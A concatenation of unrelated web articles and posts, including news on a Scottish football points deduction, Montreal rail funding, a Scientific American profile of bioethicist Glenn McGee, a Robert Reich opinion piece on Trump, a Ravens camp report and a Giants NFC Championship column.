SPFL chief executive Neil Doncaster said: "The tax default and reporting rules are an integral part of maintaining a fair league competition."
Livingston are bottom of the Championship, with two wins and three draws from 14 games.
The loss of five points with immediate effect leaves the West Lothian side on four points, seven adrift of second-bottom Cowdenbeath.
Livingston chairman Gordon McDougall told BBC Scotland: "The club are working with their accountants and HMRC to establish exactly how much tax is due to be paid.
"This matter was the subject of a voluntary declaration by the club. We will be making no further comment on the situation."
The club has been since the start of the season after it volunteered evidence of undeclared bonus payments.
Livingston changed their name from Meadowbank Thistle when they moved to West Lothian in 1995.
They won a place in the Uefa Cup only seven years after starting out in the Third Division but have had two spells in administration, between 2004 and 2005 and in 2009.Russell Street Report Camp Notes Daniels Finding His Groove With Ravens
TRENDS AND TECHNIQUES
The receivers have been doing a better job of getting off the line against press coverage and perhaps the most interesting development is that they are using their feet more than their hands to break free. Using a combination of hesitation moves, the receivers are selling the routes one way, only to change direction sharply to get separation from the opposing defensive back.
The receivers’ quick footwork at the line has also victimized Chykie Brown, who continued to struggle in coverage on Wednesday. He simply can’t find a way to impede their release, and he has an even harder time recovering downfield.
After another poor series of plays during 7-on-7 drills, Steve Smith took Brown aside and gave him a quick lesson on what he’s doing wrong with his technique. Smith then proceeded to pat Brown’s helmet to give the third-year corner a confidence boost. That moment illustrated Smith’s leadership and ever-growing presence on the team…
There was a great moment today that captured the power of motion and movement from the offense. Three different shifts took place on the same snap, causing the defense to shift each time as well.
Not only did the defenders have to make an adjustment to the motion action, but it also slowed down their aggressiveness. Motion forces defensive players to react versus attack. It also keeps the defense on their toes when it comes to timing the snap count…
PLAYERS THAT STOOD OUT ON WEDNESDAY
Owen Daniels: Daniels showed up today in a couple of instances in which he traversed the deep-middle region of the defense. In a matchup against Courtney Upshaw, the former Texan was able to get a clean release and gained separation to snag the ball. He was also involved more often as the motion player and operated from the slot a few times.
Kamar Aiken: After rookie Jeremy Butler started out guns-a-blazing in the race for the sixth receiver spot, Aiken has been gaining ground. Aiken is a big target (6-2, 220 pounds) who does a nice job of squaring his routes, especially on comebacks and hitches. Given his big frame, he is an easy target for quarterbacks to find and trust over the middle.
While he is a crafty route runner in general, he is better on shorter routes than longer routes. He is slower out of the gate and slightly hampered by a longer stride on deeper patterns. Without the speed, Aiken will have a harder time selling the deep route to get loose underneath.
Although the deep game isn’t his forte, he looks like a viable possession receiver in the making.
Jah Reid: Reid put together another solid performance as the backup right tackle. He seems to have found his home after moving around between left tackle and guard most of his career.
Reid was particularly impressive on a pull block in which he sealed the right edge and got the key block to spring Lorenzo Taliaferro. The run went for big yardage into the secondary.
Reid also looked solid in pass protection situations, displaying a powerful punch and aggressive hands. On a tackle-end stunt – one of the toughest line stunts to block – Reid handled the exchange perfectly and kept the right side clean.
Other Notes:
• With LB Daryl Smith out today, rookie C.J. Mosley got the start alongside Arthur Brown. It was exciting to see the starting tandem of the future fly around on the field.
• Safety Terrence Brooks did a nice job handling one-on-one coverage against Kyle Juszczyk when the fullback shifted to his side. Brooks used the sideline to his advantage and closed fast on Juszczyk to keep the coverage tight.
• While quarterback Joe Flacco’s throws were late, causing receivers to turn back for the football, Jacoby Jones did a nice job of stealing the ball away from safety Matt Elam on a touchdown strike.Prime Minister Justin Trudeau will announce a $1.28-billion commitment Thursday toward a major Montreal rail project that will connect the city to its suburbs and to its international airport, sources say.
Trudeau will make the transit announcement at the city's central station where he will be joined by Quebec Premier Philippe Couillard, Montreal Mayor Denis Coderre and Michael Sabia, the head of the province's public pension fund manager.
A federal source told The Canadian Press that while the dollar amount behind the commitment will be firm, there are a couple of possibilities when it comes to how it will ultimately roll out.
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The investment will either come in the form of a grant-type investment via Ottawa's infrastructure-funding agreement with Quebec or possibly through the Trudeau government's proposed infrastructure bank.
The $35-billion infrastructure bank is designed to use public funds as a way to leverage billions more from private investors to pay for new, large-scale projects, such as rail lines, bridges and transit systems. Ottawa hopes the bank's funds will lure three or four times that amount from the private sector.
The government source, who was not authorized to speak publicly on the matter, said in many ways the $5.5-billion Montreal transit proposal fits prerequisites the bank will be looking for when it evaluates projects.
But the decision whether to approve any project will be left up to officials at the infrastructure bank officials, the source added.
However, the Liberal government has said that in order to protect the interests of Canadians, the Trudeau cabinet will have the power to refuse projects that receive a green light from the bank.
In January 2015, the Quebec government and the province's public pension fund manager announced the agreement to build the electric light-rail network.
The Quebec government had been calling on the federal government to provide at least $1-billion toward the Montreal rail project, which also received financing from the provincial pension fund.
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As a way to lift the economy, the federal government has committed to invest about $186-billion into infrastructure across Canada over the next 11 years.
The Liberals say the infrastructure bank is a critical component of their infrastructure plan.
However, the bank has faced considerable criticism related to concerns over how it would be governed and the level of risk it could put on the backs of taxpayers.
Some opponents have also warned the Crown corporation will likely force Canadians to pay twice for their infrastructure – first through the public treasury and then through user fees.
The Liberals argue the major projects that will be funded through the bank would otherwise be too expensive for governments and too risky for private companies to handle alone.
"We know that looking at innovative ways to build the kind of infrastructure that Canadians need is really important to the present and the future of our country," Trudeau said Tuesday.
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"That's why we put forward a strong plan on infrastructure, which includes the infrastructure bank."
Finance Minister Bill Morneau has said the bank would ensure the government would take on a smaller role while more of the risk would be shifted to private investors, who would absorb the majority of any cost overruns.
Morneau has also argued the bank would create less risk for taxpayers than if the feds shouldered the financial burden for projects on its own.The largest health care providers in Vermont and New Hampshire are working together to provide more helicopter ambulance services to patients in Vermont and upstate New York.
Officials with the University of Vermont Health Network and Dartmouth-Hitchcock Health recently signed a deal that will see Dartmouth provide an air ambulance and air crew that will be based in the Burlington area. UVM will provide the medical professionals who will serve on the helicopter.
“Our service area covers 40,000 square miles, so it’s vital that we have consistently available transportation for patients who need the right care quickly,” said Ryan Clouser, medical officer for the UVM Health Network’s Regional Transport System.
The Dartmouth-Hitchcock Advanced Response Team helicopter has flown patients across the region for decades and Dartmouth will oversee the UVM helicopter ambulance.
Some patients in the UVM network already are moved by helicopter, but it’s not consistent. Currently, hospitals in the region rely mainly on ground ambulance service for critical care transportation between facilities. The Burlington-based helicopter will not be used to pick up patients at the scene of accidents, only transfer patients between hospitals.
“All of our region’s hospitals believe that our number one responsibility is to the patients and families we serve, and we are working together to create the best system to meet their needs,” UVM Medical Center President Eileen Whalen said.
UVM’s service area reaches from the New York communities of Massena and Canton in the west to Newport in northeastern Vermont. The air ambulance service is expected to begin operation in July.— from Robert Reich's Blog
Donald Trump weighed in on the scandal engulfing movie mogul and Democratic funder Harvey Weinstein, accused by multiple women of sexual harassment (Weinstein has been fired from his company). “I’ve know Harvey Weinstein a long time. I’m not at all surprised to see it,” Trump said.
Trump was subsequently asked by CNN’s Elizabeth’s Landers how Weinstein’s conduct differed from the conduct Trump bragged about on the “Access Hollywood” tape, where he said “when you’re a star, they let you do it. You can do anything. Grab ’em by the pussy. You can do anything.” Trump responded that the tape was just “locker-room talk.”
Rubbish. It wasn’t just “locker-room talk.” At least 15 women have publicly accused Trump of sexual harassment and assault, and People Magazine Natasha Stoynoff has six independent witnesses to back up her allegation that Trump “pushed her against a wall, shoved his tongue in her mouth, and told her they were going to have an affair.”
Trump is actively assaulting women in other ways. The Trump administration’s Education Department has moved to make it harder for women at universities to prove sexual harassment. Trump’s Health and Human Services Department has made it harder for women to get contraceptives. Trump has nominated 32 men and just one woman to become U.S. Attorneys. Trump’s 2018 budget calls for a 93 percent cut in funding for federal programs that aid survivors of sexual assault and domestic violence.
Trump and Weinstein are both sexual harassers and predators. But Trump is also president of the United States. That makes him even more dangerous to women.
_______When Glenn McGee founded the Alden March Bioethics Institute (AMBI) at Albany Medical College in New York State in 2005, magazine articles and newspaper stories hailed the arrival of the man once described as "Socrates with a beeper." Now, a month after his abrupt departure, former colleagues are painting a complex portrait that suggests the ethicist's own personal and professional relationships may have led to the institute's undoing.
McGee remains a tenured professor at AMBI, and neither he nor college officials will discuss the circumstances surrounding his change in status. Former colleagues, however, say the institute began to unravel shortly after his arrival when Union College in Schenectady, N.Y., severed its longtime educational partnership with AMBI's parent medical school and as disillusioned faculty—accusing the ethicist of everything from forgery to spreading insulting rumors—left.
McGee's rise to academic and media prominence came at a time when bioethicists were increasingly in demand to comment on high-profile medical cases such as the one involving Terri Schiavo, a brain-damaged Florida woman whose feeding tube was removed in 2005 after 15 years in a persistent vegetative state. The idea of "Socrates with a beeper" would make some bioethicists cringe but McGee, a 40-year-old Texan with two iPhones, appeared to crave the spotlight. He counts himself lucky to have published his first book, The Perfect Baby: A Pragmatic Approach to Genetics, in 1997* just when scientists in Scotland announced they had cloned Dolly the sheep—and ethics experts were in hot demand to weigh in on the controversial procedure. "I believe that talking to the public is a good thing," McGee says. "Are [some bioethicists] bothered by that? Of course, they are."
Other ethicists, however, applauded McGee for raising the profile of their growing field. "He's certainly one of the most important bioethicists of his generation," says Autumn Fiester, an ethicist and former colleague at the University of Pennsylvania Center for Bioethics in Philadelphia, where McGee served as associate director for education for nine years before taking the Albany position.
McGee had a knack for being ahead of the game, launching a bioethics Web site back in 1994. The site today is the blog for the American Journal of Bioethics (AJOB), which McGee co-founded in 2001 with David Magnus, an ethicist at Stanford University. In this unusual journal, articles submitted for consideration were posted to a private forum online for member comment; the article and all discussion about it would then be published in the print issue. It provided a trendy alternative to the more established The Hastings Center Report, published by the nearly 40-year-old Hastings Center in Garrison, N.Y., which is considered to be the most influential journal in the field. The old-school Report did not launch its own Web site until two years ago.
"I took some big risks from a career standpoint," AJOB editor in chief, McGee, says of his efforts to modernize and promote the field, "that obviously made me some friends and enemies." He and his co-editors apparently stoked a rivalry between their fledgling journal and the venerable Hastings Center Report by comparing the number of times bioethicists cited each publication in their various journal articles. McGee does not deny this, noting that "when you have two journals in bioethics that overlap in audiences, you are going to have some competition."
Prior to McGee's arrival at the institute, ethicist Robert Baker headed a bioethics masters program at Union College jointly run with Wayne Shelton at the Albany Medical College. A.M.C.'s own ethics unit, the Center for Medical Ethics, Education & Research, was founded in 1994 by John Balint, an A.M.C. physician and researcher who had just returned from an ethics fellowship at the University of Chicago. He no longer led the program, but the university provided funds for a new director, who would be named to the "John A. Balint Endowed Chair in Medical Ethics."
When Baker contacted McGee, the latter had just suffered a professional blow: He had been denied tenure at the University of Pennsylvania, home to one of the nation's most prestigious ethics programs. Eager to move on, he packed up and headed to Albany to be director. Soon after he got there, he persuaded the administration to change the center's name of to the New York Bioethics Institute, boosted its Web presence, and began developing relationships with faculty at the Albany Law School and other colleges in the region as he had vowed to do. A.M.C.'s Shelton soon vacated his office in the center and moved to a nearby building. (Both he and Balint declined to comment for this article.)
"Glenn got here and everyone was really excited," says Alicia Ouellette, an Albany Law School ethicist and lawyer who once directed AMBI's health law and bioethics program. "We were told, 'This is a star.' He's got a lot of energy, a lot of ideas, and he seemed to bring with him all kinds of resources." Ethicist Sean Philpott, who worked closely with McGee until February 2007 when he stepped down as AMBI's associate director, describes his former colleague as "intently driven," noting that when Philpott first arrived, McGee would sometimes burn the midnight oil.
But according to interviews with a number of former colleagues, McGee also began ruffling feathers almost as soon as he set foot in Albany. Just months after his arrival, he was denounced by editors at the Albany Law Review after they learned that he had apparently forged the signatures of his three co-authors on forms for a paper that he had submitted for publication. The paper was about whether in vitro fertilization attracts parents who wish to genetically engineer their children. Peter Ubel, a professor of internal medicine at the University of Michigan at Ann Arbor, says that he and Andrea Gurmankin, a former Penn graduate student once advised by McGee, told McGee that they did not feel the manuscript was worthy of publication. "There was a kernel of a good idea in there," Ubel said during a recent interview, but "some terrible flaws in the survey data."
McGee, however, ignored their objections: Without their knowledge, he signed their names as well as that of another author (Elizabeth Banger, now a U.S. Army lawyer) on forms granting the journal the right to print it. After it was published, Ubel demanded that the journal issue a correction. The publication eventually removed his and Gurmankin's names from electronic versions and published a correction in the following issue. McGee says he believed that he had "proxy" to sign the other names, and both he and Ubel say the incident may have resulted from miscommunication.
"Outside the world of law, forgery would have never entered the conversation," says McGee, who insists that he has no qualms about the quality of the analysis. Quite the contrary: "To be honest," he says, "it's one of the pieces of work I'm most proud of."
The journal's faculty advisor was less sanguine. "We were upset," says Vincent Bonventre, a professor at Albany Law School. "This is the one incident with McGee in which I had any personal involvement. Obviously, he didn't impress me positively."
***
He's not the only person McGee failed to impress. Some former colleagues complain that, among other things, he also overhyped his resume.
In fact, some of the accomplishments McGee cites on his 48-page curriculum vitae, on Web sites he manages, and in news reports are not quite what they appear at first glance. A press release issued by Albany Medical College announcing his March 2005 arrival notes that he had also just been "named chief of the Office of Bioethics for the New York State Department of Health," a claim that McGee repeated during an interview last week. "When I moved to Albany,'' he told ScientificAmerican.com, "I was named chief of bioethics by the Wadsworth Center" at the New York State health department.
But that's not what the department remembers. "Dr. McGee is experiencing delusions of grandeur," says Jeffrey Hammond, a state health department spokesperson. "Let's set the record straight: McGee was a volunteer, not an employee. He gave himself the lofty title of chief of bioethics and as a volunteer was not compensated for his time."
McGee said his relationship with the department soured after he gave numerous interviews during the controversial Schiavo case. He says that then New York State Deputy Secretary of Health and Human Services Dennis Whalen called and dressed him down after those interviews. "It was made clear to me," he says, "that it had come down from the governor [Republican George Pataki] that I was to shut up." McGee says he later drew from this experience in a column he wrote in a July 2006 issue of The Scientist, which was critical of governmental bioethics commissions. Hammond says that state health officials also "have no recollection of a meeting between him and then Deputy Commissioner Whalen." If any message was conveyed following his media appearances during the Schiavo case, Hammond says, it would have been that volunteers and staff should not independently discuss or represent their views as state policy.
In the column, McGee said that he still had his official ID stating that he was the state "chief of bioethics". McGee offered to fax the badge to ScientificAmerican.com, but said that he could not locate it at his home during a phone conversation and also said he was not willing to drive into work to find it. It has yet to be received.
In another instance, McGee claimed that he had turned down a job at a university where officials say one was never in the offing. In a May 2007 e-mail forwarded to ScientificAmerican.com by Bonnie Steinbock, a philosopher at the University at Albany, State University of New York and an AMBI faculty member, McGee wrote: "I turned down Emory. I'm staying here forever and ever and ever." But Earl Lewis, Emory University's provost, told ScientificAmerican.com this week that "McGee withdrew from consideration in advance of any final decision."
McGee confirmed that he "wrote an e-mail to that effect." He insisted that it was not inaccurate, because he had been in discussions about positions with Emory for years even though they never "materialized to a piece of paper."
In April The Business Review of Albany reported that "McGee could have been a bioethics director at the Library of Congress in Washington, D.C., or at Wake Forest University in North Carolina," but instead "picked Albany." However, according to Mark Hall, a Wake Forest law professor, the University interviewed McGee in 2005 but did not make any offers or fill any positions that year. McGee told ScientificAmerican.com the article may have been wrong about those claims although he has not asked for a correction. He says now that the Washington position would have been as a "congressional bioresearch ethicist" rather than a director, and he maintains that Wake Forest asked him to delay his decision to come to Albany for "a couple of days," but he refused. Robin Cooper, the Business Review reporter who wrote the piece, says he stands by the story and that it was based statements that McGee made in an interview.
Steinbock believes that such misunderstandings may stem from McGee's overeagerness and inflated self-image. "There have been times when McGee has insufficiently distinguished between what he intends to accomplish and what has actually happened," she says. In fact, she adds that McGee had discussed his interest in getting her an adjunct professorship in the Albany Medical School's ob–gyn department around 2005 and, much to Steinbock's chagrin, that affiliation was soon listed on the Alden March Web site before the paperwork was properly filed. McGee took down the affiliation at her request, and Steinbock received final approval last month. Steinbock says she has often chastised McGee about his tendency to stretch the truth, but has, at the same time, always kept cordial relations with him.
In response to criticism of his overzealous promotional efforts McGee says, "I will be the first to admit it, I sell my people. I have a good faculty and staff. If it sounds effusive to you, that's probably the Texas thing," he notes, referring to his upbringing in Waco. But he adds that "What's not true is that I will heap false praise on someone in the interest of advancing the institution or myself."
***
Many mark the turning point at AMBI as the moment when the joint master's program in bioethics fell apart without warning just a year after McGee's arrival, in 2006, forcing dozens of faculty members to choose between Robert Baker at Union College, and McGee. The two leaders—juggling the concerns of the administration—were unable to come to agreement on matters ranging from resource allocation, personnel recruitment and governance. Union College is now partnered with Mount Sinai School of Medicine in New York City. "Since we couldn't live together, we divorced. Like individual divorces, there are a few messy details," Baker wrote in a recent e-mail to Scientific American. "I have no comments about these details."
McGee says that, "We were put in a difficult position by administrators who weren't bad people but who had a different vision of money." He adds, "I came to Albany to bring things together and here I am—because of a couple hundred thousand dollars difference—and there are two master's programs."
Baker says at the time of the split there were 33 students in the joint program: "Thirty chose to remain at Union, three chose AMBI." The latter school's numbers have since risen to 27.
Albany Law School professor Alicia Ouellette, who tried to work with both programs until late last year, says the split was "unfortunate," noting that it "didn't seem like it was necessary."
As the partnership unraveled, McGee became increasingly upset at colleagues who chose to sever ties with AMBI and remain with Baker's program at Union. Sean Philpott, AMBI's former associate director, recalls being in the office when McGee had a heated discussion with Timothy Hoff, a professor of public health at the University at Albany who no longer wanted to be affiliated with AMBI and had circulated an e-mail expressing his disappointment at the breakup. Hoff declined to comment for this article.
Philpott says he stepped down as Alden March's associate director in February 2007, after just nine months, and severed his affiliation with AMBI and the American Journal of Bioethics in November 2007, because of a series of personal disagreements with McGee and disappointment with the way McGee characterized some of their collaborative research during a provocative seminar McGee gave at Albany Medical College. In recent months, Ann Willey, director of laboratory policy and planning at the Wadsworth Center, and John Kaplan, a physiologist at the college, also severed ties with AMBI, according to colleagues.
"The anger in it was hurtful," McGee says of the split, but he denies that he yelled at Hoff or any other AMBI faculty members. "What sort of advantage would one glean from yelling at people one would want to keep on one's faculty?" he says. "The last thing in the world I was going to do was screech and scream at people when they wanted to work with one program or another."
The final straw may have been McGee's romantic involvement with a junior faculty member—a relationship that might have violated medical center policy. McGee is currently going through what he calls "an acrimonious divorce" and ScientificAmerican.com confirmed with the Albany, N.Y., county clerk office that divorce papers were filed in court earlier this spring.
In late 2006 Summer Johnson, now 27, completed her PhD in public health from Johns Hopkins University. She was hired at AMBI as an entry-level assistant professor in medical ethics and to help the institute gain certification for its newly independent masters program. Months after her arrival, she was promoted to graduate studies director—second in command at AMBI—through a process that some on the search committee questioned. In an e-mail Ouellette sent to McGee and the rest of the search committee, she wrote, "I am uncomfortable making [the hiring] decision before the search committee has met even once to define the criteria for the candidate who would best serve the institution." Bonnie Steinbock, who sat on the search committee, forwarded this e-mail and McGee's response to ScientificAmerican.com, and they were verified by a second search committee member.
In his e-mail response on February 25, 2007, McGee denied that decisions would be made without a meeting and proceeded to make a persuasive case for Johnson and an accelerated hiring process.
There is no evidence that McGee and Johnson had a romantic relationship when she was promoted last year, and Johnson says that prior to coming to Albany they had only met briefly at a conference in Washington, D.C., in 2006. The couple, however, became engaged shortly after McGee departed as director on May 14, according to several current and former AMBI faculty members, including Elisa Gordon, an Alden March core faculty member who recently congratulated Johnson on her engagement to McGee when they saw each other at the institute. At the time, Johnson confirmed that she was engaged to McGee and showed Gordon her diamond engagement ring. McGee and Johnson refused to comment on the status of their relationship.
The events that led to his departure seem to have been set in place on April 18, when a professor affiliated with A.M.C. told the administration that McGee's relationship with Johnson was inappropriate and detrimental to the master's program, according to the informant.
Johnson handed in her resignation on June 11 as both director of graduate studies and assistant professor of medicine. Johnson claims that after McGee's departure, "The students were going to figure out that the institute they were getting their degrees from was really now vaporware." She says she wanted to explain her concerns to the frustrated students but was prevented by Albany Medical College officials and told to "champion the program." On June 5 she came up for her annual review and was offered "a large salary increase." Johnson says: "I'm not a salesperson, that's all I really have to say."
In a June 12 letter addressed to AMBI graduate students that was obtained by ScientificAmerican.com, Johnson wrote that A.M.C. required her to make "misleading" representations. A.M.C. would not comment on her claims.
In a separate letter sent to graduate students that same day, Albany Medical College dean, Vincent Verdile, wrote that "I want to extend to you my appreciation of your understanding during this period of transition for the Bioethics Institute." Henry Pohl, vice dean of academic administration, will now be overseeing graduate education for the institute. A.M.C. officials would not verify the signed letter, a scanned copy of which was forwarded to ScientificAmerican.com by a professor affiliated with A.M.C.
Still, McGee is not without his champions. One is John Lachs, McGee's dissertation advisor in the philosophy department at Vanderbilt University, where he received his PhD in 1994. When asked during a telephone interview if he was concerned about his former student, Lachs replied: "Glenn is not someone about whom you get concerned. He is so talented and so smart he is always going to land on his feet."
McGee's new office sits near Wayne Shelton's, outside the institute's headquarters, and next door to the television studio McGee had the University install when he arrived. "I wouldn't deny that there have been times when I have rushed ahead," McGee says, "when in retrospect I should have slowed down." But the ethicist denies that he crossed any ethical lines.
"There's blood in the water now," McGee wrote in an e-mail that Steinbock received on Thursday and forwarded to ScientificAmerican.com. "I have enjoyed Albany but clearly I'm not going to be around here much longer—and even more clearly, having spent my literal last dollar on lawyers and divorce, and now labor law, I am going to be entering a new phase of my career in which I am a dartboard."
*Correction (7/3/08): The book and publication date originally cited in this sentence have been changed.Marvin Gentry/Reuters Roy Moore, above, is fanning conspiracy theories about billionaire Democratic donor George Soros pushing a secret, radical left agenda to thwart conservatives like him.
WASHINGTON ― A week before Alabama’s high-stakes Senate special election, Republican nominee Roy Moore is fueling a conspiracy theory that Democratic billionaire donor George Soros is trying to meddle in the election.
“Soros is certainly trying to alter the voting populous,” Moore said in a Tuesday interview on American Family Radio, per a Fox News producer who tweeted about the exchange. “He’s pushing an agenda. And his agenda is sexual in nature.”
Judge Roy Moore is asked about George Soros on American Family Radio. Here is part of his response. #ALSen pic.twitter.com/vaFvihjbaZ — Dan Gallo (@dangallo) December 4, 2017
The Alabama Republican said he wishes he could tell Soros that he’s going to hell.
“No matter how much money he’s got, he’s still going to the same place that |
's Angels, gathering firsthand knowledge for the book Hell's Angels: The Strange and Terrible Saga of the Outlaw Motorcycle Gangs).
6. He wasn’t camera-shy.
Thompson was a regular talk show guest, appearing several times during the 1980s and ‘90s on Late Night with David Letterman, Charlie Rose and Late Night with Conan O’Brien.
7. He struggled with suicidal thoughts for years before his death.
Thompson had thoughts about ending his life for years leading up to his 2005 suicide. His wife Anita tried to dissuade him, threatening to leave the home they'd shared at Owl Farm and cut ties with his legacy if he committed suicide. When she received news of his death on February 20, 2005, she was heartbroken but also felt instant forgiveness. “As soon as I saw him, all that craziness, all the anger and fear, went away,” she said to The Los Angeles Times. “I held him, kissed his head and rubbed his leg like I always did... I said it was OK, Hunter; I know what you did. Suddenly, there was nothing but peace.”
Chuck Falzone is based in the Chicago area, where he writes, cooks, sings and tries to keep up with a preschooler.By Harriet Oliver
Business reporter, BBC News
A licence is not required to watch catch-up TV services Businesses are being warned they could be breaking the law if staff watch live TV on their computers when the firm does not have a TV licence. Shops, offices and other workplaces could be fined up to £1,000, the TV Licensing authority says. The law covers live transmissions online and does not apply to catch-up services such as those on the iPlayer. If watching via mobiles and laptops that are battery operated, they will be covered by the owner's home TV licence. The situation changes if equipment is plugged in - as it usually is in offices. "At that point, you need a licence," says Ian Fannon from TV Licensing. Advice 'confusing' It has become an issue because there are more and more ways to watch television, he says. "People can now watch on a PC or laptop, or even on some mobile phones and PDAs," he says, "and it's the responsibility of the business to make sure staff are obeying the law." WHEN IS A LICENCE REQUIRED? If you are watching: A programme as it is being broadcast (rather than on a catch-up service) This includes programmes being watched on computers and mobiles as well as TV
Q&A: When do I need a TV licence? Paul Wells, who owns two shops in Bognor Regis, has received a couple of letters from the authority warning him he could need a licence if his computer was connected to the internet. He contacted BBC News to say he had found the rules confusing and had found it difficult to get clear information. "We do a lot of work online for our internet business, but we don't have time during the day to watch TV," says Mr Wells. That should put him in the clear, but he is still wondering if he should get a licence to be on the safe side. He is particularly worried about customers who come into the shop with mobile phones and is no clearer after ringing the TV Licence helpline. "I was told that if people were to enter my premises with a mobile phone, they'd be covered by their own licence at home, but the information on the website says that business premises need to have a licence if any devices are accessing live TV, " he says. 'Simple rules' Ian Fannon told BBC News that the rules were quite simple. "You need a licence if you are watching programmes as they are broadcast. At a business, the same rules apply." He says Mr Wells' customers will be covered by their own licences if they are using mobiles. He only needs to worry about devices like office computers which are plugged into the mains, making them "legally installed". So will businesses be left alone if they insist their staff never watch television at work? Not necessarily, Mr Fannon says. Employers who state they do not need a licence could be inspected without warning at any time: "We have prosecuted people for watching on a computer."
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StumbleUpon What are these? E-mail this to a friend Printable version"It's okay if you give nothing, unless..."
That was the title of my first wishlist for my first gift exchange. No, seriously. I never really expected to have someone giving something in return.
I didn't know what kinds of things that happen during Secret Santa. Even skeptical about it. But there's still something that drives me to not to push that forfeit link.
So I let it be. A few weeks later, my secret santa is going to ship my gift, asking for my contact number. That was the first time I really felt that there are still kind strangers out there, even though they're people you haven't met.
I was stuck in a trigonometry test when SS texted me that his gift is already in our courier service area. Happily, I brought home a box; wondering what's inside.
When I got home, my parents were wondering what kind of package I had (I never told them, they might say that a 15-year old is not allowed to do this sort of stuff). I told them the whole story (luckily, they didn't got angry) and we opened the gift together.
To my surprise, I got two awesome Adventure Time t-shirts! Everybody knows that I loved that cartoon, and it is definitely on the top of my wishlist. And I'm really glad that I have something to wear that spells out me as an ultimate AT fan (and me as a whole).
I thought there was nothing left in the box when I saw - two beautiful rings! I gave it to my older sister, because I know she loves those types of jewelry.
Extremely glad that I've taken part in this event. Hoping to join more in the weeks, months, and years, to come! Happy holidays, everyone! :)
(sorry if my title is kinda clickbait-y)@ImTylerBrown @Endzeitkind @pillowfort @passy @RobParker231 Happy to clarify this one for you, guys. We would never offer a pre-order exclusive that creates an imbalance in a game's single or multiplayer experience - here's some more info on Bursts that we hope clears things up. Bursts, like Amazon's Deadly Force Burst pre-order offer, are special abilities you can equip to your multiplayer character Loadout. Like Bullet Time, they only last for short periods at a time, and you can choose one at a time to equip your character with for a match. They've all been balanced to ensure they're each equally deadly, it's just a matter of which special power you personally like best for your gameplay strategy. Also, all pre-order bonuses will be made available to everyone shortly after launch.
Reply · Report PostTom Jones has lived a life worth writing about, and recently decided to take on the job himself. His new memoir, Tom Jones: Over the Top and Back, and traces his life from a tiny terrace house in a coal mining area of Wales to 20 years of superstardom — tours around the world, big productions in Las Vegas, a Bond movie theme and more. Perhaps most remarkably, it shows readers the origins of his career, when he was 16 and supporting a wife and baby. He is still married to that woman today.
"She knew that I wanted to be a singer when we were kids — and then, of course, we found out about the birds and the bees together," Jones chuckles. "She said to me the other day, 'You know, when you started with the hit records and everything and the TV shows, you said one day you'd slow down.' She said, 'When is this slowing down going to kick in, then?' And I said, 'Well, to be honest, I don't think it will.'"
Jones also has a new album, Long Lost Suitcase of songs that span the range of styles he's tackled over the years. He joined NPR's Linda Wertheimer to discuss both projects; hear more of their conversation at the audio link.SAN FRANCISCO — The two brothers found each other on a loading dock just outside Candlestick Park, surrounded by security guards, family members and a few misplaced fans who couldn’t believe their good luck.
Eli Manning initiated the bro hug, leaning in to embrace his older brother with his right arm. Peyton Manning pulled him close as the cell phone cameras snapped, patting him three times on his freshly minted NFC Championship T-shirt before he said what every Giants fan had to be feeling.
“I’m proud of you.”
They spent just two minutes talking about this incredible NFC Championship Game that put the younger brother back in the Super Bowl — in, of all places, the city where the older brother became a star.
It was a tough 20-17 victory over San Francisco 49ers tonight, an overtime game won on a devastating mistake and a chip-shot field goal, not just the heroics of the winning quarterback.
Still: There was no masking the pride from Peyton Manning. He could see this season unfold from afar because of the neck surgery that wrecked his own season, watching how the Giants went from 7-7 to the brink of another championship for his family. How could he not love what he saw?
As a quarterback. As a brother.
As a Manning.
“The Giants have had a great run here the last few weeks, and I couldn’t be more proud of Eli and how he’s played all year,” Peyton said. “He really worked hard this offseason. He really wanted to have a good year and he sure has. Indianapolis is lucky to have this kind of game.”
His police escorts were trying to lead him to the waiting limo. His parents, Archie and Olivia, were waiting near a security fence. The family’s older brother, Cooper, was stuck in the impenetrable crowd, his flesh pressed against theirs like some unlucky shopper on Black Friday.
“I’ve been proud of Eli all year,” Peyton said. “I’ve really gotten to see more of his games this year because of my injury, so it’s been fun to watch him play. He’s been clutch all season long. Fourth-quarter comebacks. When they’ve needed him, he’s always been there.”
Eli was there again yesterday. This was not a pretty day for offenses, not with intermittent downpours drenching the turf and the opposing defense drilling him seemingly every time he stepped back to pass.
This game was won on a special teams play, a fumble on a punt return that linebacker Jacquian Williams stripped and gunner Devin Thomas recovered deep in 49ers territory to set up Lawrence Tynes — again — for the overtime winner in a championship game.
This game was won with defense, as it always is for the Giants this time of year, with the linemen punishing a shaky Alex Smith and the secondary, remarkably, allowing just one pass completion to a wide receiver the entire game.
But make no mistake: This is Eli’s team. He completed 32 of 58 passes for 316 yards and two touchdowns, the big one coming on a 3-and-15 at the San Fran 17 when he found his third target, Mario Manningham, leaning across the goal line just in front of the coverage.
Maybe most of all, he avoided the killer mistakes in a game that was always going to be decided by them. He had no interceptions, and despite getting sacked — drilled, really — six times, he never lost the football.
“I kept thinking, ‘Be patient. Don’t force anything because our defense is playing great,’” Manning said.
One year ago, Manning threw 25 interceptions and the Giants missed the playoffs. He vowed he would eliminate those mistakes, and that process started on a high school field in Hoboken as lawyers and judges tried to sort through the mess that had become of the labor negotiations.
91 Gallery: New York Giants vs San Francisco 49ers in NFC Championship game at Candlestick Park 1-22-12
It was then that he developed a bond with receiver Victor Cruz, the local kid he targeted 17 times yesterday for 10 catches and 142 yards.
It was then, his brother said, that the seeds for his finest season, with nearly 5,000 yards and 29 touchdowns, were sown.
“He was very determined this offseason to improve, and the lockout, in a way, probably helped him,” Peyton said. “He organized those workouts himself, and sometimes spending time with receivers is better when the coaches aren’t around. You can work on some things instead of getting on a schedule.”
Peyton said he talked to Eli twice a week during the season, once on Friday to go over the defense the Giants faced that week, and once on Monday after the games. But he quickly added that there was little he could offer his brother but support. Eli, at this point in his career, didn’t need it.
“It was different when he was younger, and there were some things I could maybe help him with,” Peyton said. “Eli has seen it all. He’s truly an experienced, veteran quarterback. I’m just proud as another quarterback to see the way he’s competed and played.
He smiled.
The guards were moving him closer to his exit, with the next stop — for Peyton and, soon, the Giants — Indianapolis. The Manning family is on its way to another Super Bowl.
“I’m even more proud Eli’s my brother.”
Steve Politi: spoliti@starledger.com; twitter.com/StevePoliti
More from Steve Politi
• Politi: Many Giants find that faith goes beyond 'Tebowing'
• Politi: As Rob Lowe's Peyton Manning tweet draws attention, Eli Manning knows any game could be his last
